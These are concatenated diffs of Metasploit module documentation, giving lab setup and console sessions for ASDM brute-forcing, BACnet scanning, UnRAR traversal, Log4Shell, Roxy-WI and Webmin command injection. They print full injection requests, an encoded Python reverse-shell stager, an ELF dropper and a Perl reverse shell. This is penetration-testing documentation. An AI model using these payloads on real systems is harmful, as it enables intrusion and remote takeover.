1. If Java isn't installed, install Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
1. Start the ASDM Launcher via `C:\Program Files (x86)\Cisco Systems\ASDM\run.bat`
1. Enter your ASAv's IP address (10.9.249.201)
1. Enter a blank username
1. Enter the enable password (`labpass1`)
1. Go to `Configuration -> Device Management -> Users/AAA -> User Accounts`
1. Click `Add`
1. Set the username to `cisco`
1. Set the password to `cisco123`
1. Keep the default settings for `Access Restrictions` (Full access with privilege level of 2).
1. Hit `OK`
1. Hit `Apply`
You should now be able to log in to the ASDM using `cisco`:`cisco123`.
## Verification Steps
* Follow the above instructions to configure ASAv, ASDM, and add the `cisco` user for testing
* Do: `use auxiliary/scanner/http/cisco_asa_asdm_bruteforce`
* Do: `set RHOST <ip>`
* Do: `set VERBOSE false`
* Do: `run`
* You should see output indicating `cisco:cisco123` was successfully used for login.
## Options
### USERPASS_FILE
File containing users and passwords separated by space, one pair per line.
### USER_FILE
File containing users, one per line.
### PASS_FILE
File containing passwords, one per line
## Scenarios
### ASAv 9.18.1 with ASDM enabled and the `cisco:cisco123` creds set.
```
msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run
[*] The remote target appears to host Cisco ASA ASDM. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "cisco":"cisco123"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) >
```
@@ -0,0 +1,74 @@
## Vulnerable Application
BACnet is a Data Communication Protocol for Building Automation and Control Networks.
Developed under the auspices of the American Society of Heating,
Refrigerating and Air-Conditioning Engineers (ASHRAE), BACnet is an American national standard,
a European standard, a national standard in more than 30 countries, and an ISO global standard.
The protocol is supported and maintained by ASHRAE Standing Standard Project Committee 135
This script polls bacnet devices with a l3 broadcast Who-is message
and for each reply communicates further to discover more data and saves the data into metasploit.
Each bacnet device responds with this data:
- It's IP address, and BACnet/IP address (if the device is nested).
- It's device number.
- Model name.
- Application software version.
- Firmware revision.
- Device description.
## Verification Steps
1. Start msfconsole.
2. Do: `use auxiliary/scanner/scada/bacnet_l3`.
3. Do: `set INTERFACE`.
5. Do: `run`.
6. Devices running the BACnet protocol should respond with data.
## Options
A user can choose between the interfaces of his host (e.g. eth1, ens192...),
the number of Who-is packets to send - for reliability purposes, the time (in seconds) to wait for packets to arrive
and the UDP port, the default is 47808.
The user can always check these options via the `show options` command.
```
msf auxiliary(profinet_siemens) > show options
Module options (auxiliary/scanner/scada/bacnet_l3):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 1 yes The number of times to send each packet
INTERFACE eth1 yes The interface to scan from
PORT 47808 yes BACnet/IP UDP port to scan (usually between 47808-47817)
TIMEOUT 1 yes The socket connect timeout in seconds
```
## Scenarios
The following demonstrates a basic scenario, we "detect" two devices:
```
msf > use auxiliary/scanner/scada/bacnet_l3
msf auxiliary(auxiliary/scanner/scada/bacnet_l3) > run
[*] Broadcasting Who-is via eth1
[*] found 2 devices
[*] Querying device number 826001 in ip 192.168.13.11
[*] Querying device number 4194303 in ip 192.168.13.12
[*] Done scanning
[+] for asset number 826001:
model name: iSMA-B-4U4A-H-IP
firmware revision: 6.2
application software version: GC5 6.2
description: BACnet iSMA-B-4U4A-H-IP Module
[+] for asset number 4194303:
model name: PXG3.L-1
firmware revision: FW=01.21.30.38;WPC=1.4.131;SVS-300:SBC=13.21;
application software version:
description: BacnetRouter
[+] Successfully saved data to local store named bacnet-discovery.xml
[*] Done.
[*] Auxiliary module execution completed
```
@@ -25,6 +25,35 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -node
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
IP and hostname to your hosts file.
### Using docker
Using the environment created by [vulhub](https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160)
First create a new docker-compose file:
```
version: '2'
services:
nginx:
image: vulhub/openssl:1.0.1c-with-nginx
ports:
- "8080:80"
- "8443:443"
```
Then run `docker-compose up` and verify that the service is running with:
```
$ curl https://localhost:8443 -k
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.11.13</center>
</body>
</html>
```
## Verification Steps
1. Install a vulnerable OpenSSL, start the service
@@ -0,0 +1,62 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
## Verification Steps
To generate the .rar file:
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
TARGET_PATH => ../../../../../../tmp/docstest.txt
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Target filename: ../../../../../../tmp/docstest.txt
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
```
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
```
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from /home/ron/.msf4/local/payload.rar
Extracting hhgdzigwkgv OK
Extracting hhgdzigwkgv OK
All OK
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
/tmp/docstest.txt: data
```
## Options
### `FILENAME`
The filename to generate, typically it's `payload.rar` and that works fine.
### `TARGET_PATH`
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
## Scenarios
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
@@ -0,0 +1,112 @@
## Vulnerable Application
### Description
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user.
This module will start an LDAP server that the target will need to connect to.
### Setup
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
### MobileIron Core Appliance ISO Installation on VMWare Fusion
1. Obtain a `mobileiron-##.#.#.#-##.iso` file, the following steps utilize `mobileiron-10.6.0.0-23.iso`.
2. Use the ISO to create "A New Virtual Machine".
3. Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode
so that I can hit it over the network.
4. Boot the new virtual machine.
5. Type `vm-install` at the `boot:` prompt.
6. Wait patiently while the VM reboots and begins the install process. The system *will* reboot when installation completes.
7. When prompted with `Continue with configuration dialog?`, type `yes`
8. Type `q` to clear the license from the screen.
9. Accept the End User License Agreement by typing `yes`
10. Enter a Company Name / contact / email of your choosing. They don't matter.
11. Configure an enable password (e.g. `Labpass1`)
12. Enter an admin user name (e.g. `albinolobster`)
13. Enter and confirm an admin password (e.g. `Labpass1`)
14. Select `a` for the management interface
15. Assign a static IP address and network mask that works with your test network. (e.g. `10.9.49.101` and `255.255.255.0`)
16. Enter your test networks default gateway (e.g. `10.9.49.1`)
17. Enter a fully-qualified domain name for the device (e.g. `lobster.example.com`). Unfortunately, this needs to work. I added a
static DNS enty to my lab network's router.
18. Enter your desired name server. My lab network relies on the aforementioned router (e.g. `10.9.49.1`)
19. Enter blank entries for name server 2 and 3.
20. `yes` to enable remote shell access (why not, right?)
21. `no` to configuring NTP
22. `no` to configuring system clock
23. `yes` to commit changes
24. Type `reload` to restart the system and `yes`, when prompted, to both saving the configuration and proceeding with the reload
25. When the system has restarted, you should now have a vulnerable install of MobileIron Core.
26. Visit `https://ipaddr` to ensure the HTTP server has fully loaded
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/mobileiron_core_log4shell`
3. Set the `RHOSTS`, `LHOST`, and `SRVHOST`
4. Do: `run`
5. If the target is vulnerable, the payload should be executed
## Options
## Scenarios
### MobileIron Core 11.2.0.0-31
```
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
RHOSTS => 10.9.49.100
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```
### MobileIron Core 10.6.0.0-23
```
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
RHOSTS => 10.9.49.101
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.9.49.101 - Command shell session 1 closed.
```
@@ -0,0 +1,392 @@
## Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0.
Successful exploitation results in remote code execution under the context of the web server user.
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
### Setup
Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.
First grab a vulnerable copy of the code from the release pages at https://github.com/hap-wi/roxy-wi/releases.
You will likely want to grab version 6.1.0.0 from https://github.com/hap-wi/roxy-wi/archive/refs/tags/v6.1.0.0.tar.gz
Next follow the installation instructions at https://roxy-wi.org/installation.py#manual and be sure to replace `apache`
with `www-data` where applicable if your using Debian or Ubuntu (they call this out in their instructions however
it can be a bit hard to find which is why I'm noting it here).
Once you are done you should have a working copy of Roxy-Wi. Note that for some reason the login page didn't work for me
in testing, however everything needed to test this module should be set up and operating as expected.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/roxy_wi_exec`
4. Set `RHOST` to the address of the target Roxy-WI machine.
5. Set `LHOST` to the address of your attacking machine.
8. Run `exploit`
9. Do: `run`
10. You should get a shell as the user running the Roxy-WI server.
## Targets
### 0
This executes a Unix command.
### 1
This uses a Linux dropper to execute code.
## Options
### TARGETURI
The base path to Roxy-WI. The default value is `/`.
## Scenarios
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
HttpTrace => true
msf6 exploit(linux/http/roxy_wi_exec) > run
[*] Started reverse TCP handler on 172.22.230.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:443 is vulnerable!
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=iufmgha&backend_server=127.0.0.1
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2022 18:46:55 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] 127.0.0.1:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 760
serv=127.0.0.1&ipbackend=%22%3b%20echo%20exec\%28__import__\%28\%27base64\%27\%29.b64decode\%28__import__\%28\%27codecs\%27\%29.getencoder\%28\%27utf-8\%27\%29\%28\%27aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3Mi4yMi4yMzAuMTQ1Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc%2bSScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK\%27\%29\%5b0\%5d\%29\%29%20%7c%20exec%20%24%28which%20python%20%7c%7c%20which%20python3%20%7c%7c%20which%20python2%29%20-%20%3b%23&alert_consumer=gumovpt&backend_server=127.0.0.1
[*] Sending stage (40164 bytes) to 172.22.230.145
[*] Meterpreter session 1 opened (172.22.230.145:4444 -> 172.22.230.145:41506) at 2022-07-25 13:46:56 -0500
####################
# Response:
####################
No response received
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : gwillcox-Virtual-Machine
OS : Linux 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter > pwd
/var/www/haproxy-wi/app
meterpreter > ls
Listing: /var/www/haproxy-wi/app
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100664/rw-rw-r-- 83 fil 2022-06-30 02:43:57 -0500 .htaccess
040755/rwxr-xr-x 4096 dir 2022-07-25 13:36:33 -0500 __pycache__
100775/rwxrwxr-x 12822 fil 2022-06-30 02:43:57 -0500 add.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 certs
100775/rwxrwxr-x 4745 fil 2022-06-30 02:43:57 -0500 config.py
100775/rwxrwxr-x 33194 fil 2022-06-30 02:43:57 -0500 create_db.py
100775/rwxrwxr-x 14945 fil 2022-06-30 02:43:57 -0500 db_model.py
100775/rwxrwxr-x 64688 fil 2022-06-30 02:43:57 -0500 funct.py
100775/rwxrwxr-x 913 fil 2022-06-30 02:43:57 -0500 ha.py
100775/rwxrwxr-x 8544 fil 2022-06-30 02:43:57 -0500 hapservers.py
100775/rwxrwxr-x 3008 fil 2022-06-30 02:43:57 -0500 history.py
100775/rwxrwxr-x 7145 fil 2022-06-30 02:43:57 -0500 login.py
100775/rwxrwxr-x 1696 fil 2022-06-30 02:43:57 -0500 logs.py
100775/rwxrwxr-x 1598 fil 2022-06-30 02:43:57 -0500 metrics.py
100775/rwxrwxr-x 966 fil 2022-06-30 02:43:57 -0500 nettools.py
100775/rwxrwxr-x 181104 fil 2022-06-30 02:43:57 -0500 options.py
100775/rwxrwxr-x 4096 fil 2022-06-30 02:43:57 -0500 overview.py
100775/rwxrwxr-x 1884 fil 2022-06-30 02:43:57 -0500 portscanner.py
100775/rwxrwxr-x 1125 fil 2022-06-30 02:43:57 -0500 provisioning.py
100644/rw-r--r-- 274432 fil 2022-07-25 13:41:13 -0500 roxy-wi.db
100775/rwxrwxr-x 750 fil 2022-06-30 02:43:57 -0500 runtimeapi.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 scripts
100775/rwxrwxr-x 2486 fil 2022-06-30 02:43:57 -0500 sections.py
100775/rwxrwxr-x 1580 fil 2022-06-30 02:43:57 -0500 servers.py
100775/rwxrwxr-x 1826 fil 2022-06-30 02:43:57 -0500 smon.py
100775/rwxrwxr-x 103924 fil 2022-06-30 02:43:57 -0500 sql.py
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 templates
100775/rwxrwxr-x 1361 fil 2022-06-30 02:43:57 -0500 users.py
100775/rwxrwxr-x 4150 fil 2022-06-30 02:43:57 -0500 versions.py
100775/rwxrwxr-x 2076 fil 2022-06-30 02:43:57 -0500 viewlogs.py
100775/rwxrwxr-x 1150 fil 2022-06-30 02:43:57 -0500 viewsttats.py
100775/rwxrwxr-x 1819 fil 2022-06-30 02:43:57 -0500 waf.py
meterpreter >
```
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
HttpTrace => true
msf6 exploit(linux/http/roxy_wi_exec) > set Target 1
Target => 1
msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(linux/http/roxy_wi_exec) > show options
Module options (exploit/linux/http/roxy_wi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:hos
t:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid
7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
. This must be an address on the local machine o
r 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is ran
domly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is rand
om)
VHOST no HTTP server virtual host
Payload options (linux/x64/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux (Dropper)
msf6 exploit(linux/http/roxy_wi_exec) > run
[*] Started reverse TCP handler on 172.22.230.145:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:443 is vulnerable!
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=oodqhqe&backend_server=127.0.0.1
####################
# Response:
####################
HTTP/1.1 200 OK
Date: Mon, 25 Jul 2022 19:07:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
Content-type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] 127.0.0.1:443 is vulnerable!
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
[*] Exploiting...
####################
# Request:
####################
POST /app/options.py HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 939
serv=127.0.0.1&ipbackend=%22%3b%20printf%20%27\177\105\114\106\2\1\1\0\0\0\0\0\0\0\0\0\2\0\76\0\1\0\0\0\170\0\100\0\0\0\0\0\100\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\70\0\1\0\0\0\0\0\0\0\1\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\0\0\0\0\0\0\100\0\0\0\0\0\372\0\0\0\0\0\0\0\174\1\0\0\0\0\0\0\0\20\0\0\0\0\0\0\110\61\377\152\11\130\231\266\20\110\211\326\115\61\311\152\42\101\132\262\7\17\5\110\205\300\170\121\152\12\101\131\120\152\51\130\231\152\2\137\152\1\136\17\5\110\205\300\170\73\110\227\110\271\2\0\21\134\254\26\346\221\121\110\211\346\152\20\132\152\52\130\17\5\131\110\205\300\171\45\111\377\311\164\30\127\152\43\130\152\0\152\5\110\211\347\110\61\366\17\5\131\131\137\110\205\300\171\307\152\74\130\152\1\137\17\5\136\152\46\132\17\5\110\205\300\170\355\377\346%27%3e%3e/tmp/olXCy%20%3b%20chmod%20%2bx%20/tmp/olXCy%20%3b%20/tmp/olXCy%20%3b%20rm%20-f%20/tmp/olXCy%20%3b%23&alert_consumer=kvlkaqe&backend_server=127.0.0.1
[*] Sending stage (38 bytes) to 172.22.230.145
[*] Command shell session 2 opened (172.22.230.145:4444 -> 172.22.230.145:41508) at 2022-07-25 14:07:59 -0500
i####################
# Response:
####################
No response received
d[*] Command Stager progress - 100.00% done (810/810 bytes)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
pwd
/var/www/haproxy-wi/app
ls
__pycache__
add.py
certs
config.py
create_db.py
db_model.py
funct.py
ha.py
hapservers.py
history.py
login.py
logs.py
metrics.py
nettools.py
options.py
overview.py
portscanner.py
provisioning.py
roxy-wi.db
runtimeapi.py
scripts
sections.py
servers.py
smon.py
sql.py
templates
users.py
versions.py
viewlogs.py
viewsttats.py
waf.py
```
@@ -0,0 +1,103 @@
## Vulnerable Application
This module exploits an arbitrary command injection in Webmin versions prior to
1.997.
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
updates and installation. Due to a lack of input sanitization, it is possible to
inject an arbitrary command that will be concatenated to the package manager call.
This exploit requires authentication and the account must have access to the
Software Package Updates module.
## Installation
### Ubuntu
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
```
apt-get install libauthen-pam-perl libio-pty-perl
dpkg -i ./webmin_1.996_all.deb
```
## Setup
- Go to `https://<target IP>:10000/`
- Login as `root` with the OS password
- Create a new user:
`Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
- Setup permissions
`Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`
## Verification Steps
1. Install and setup the application
1. Start msfconsole
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
1. You should get a shell.
## Options
### TARGETURI
Set this to the Webmin base path. The default is `/`.
### USERNAME
The account username to use.
### PASSWORD
The account password.
## Scenarios
### Webmin 1.996 on Ubuntu 18.04
- Target 0 (`Unix In-Memory`)
```
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Webmin 1.996 detected
[+] Webmin 1.996 is a supported target
[+] The target appears to be vulnerable.
[*] Attempting login
[+] Logged in!
[*] Sending payload
[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/issue
Ubuntu 18.04.6 LTS \n \l
```
- Target 1 (`Linux Dropper`)
```
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Webmin 1.996 detected
[+] Webmin 1.996 is a supported target
[+] The target appears to be vulnerable.
[*] Attempting login
[+] Logged in!
[*] Sending payload
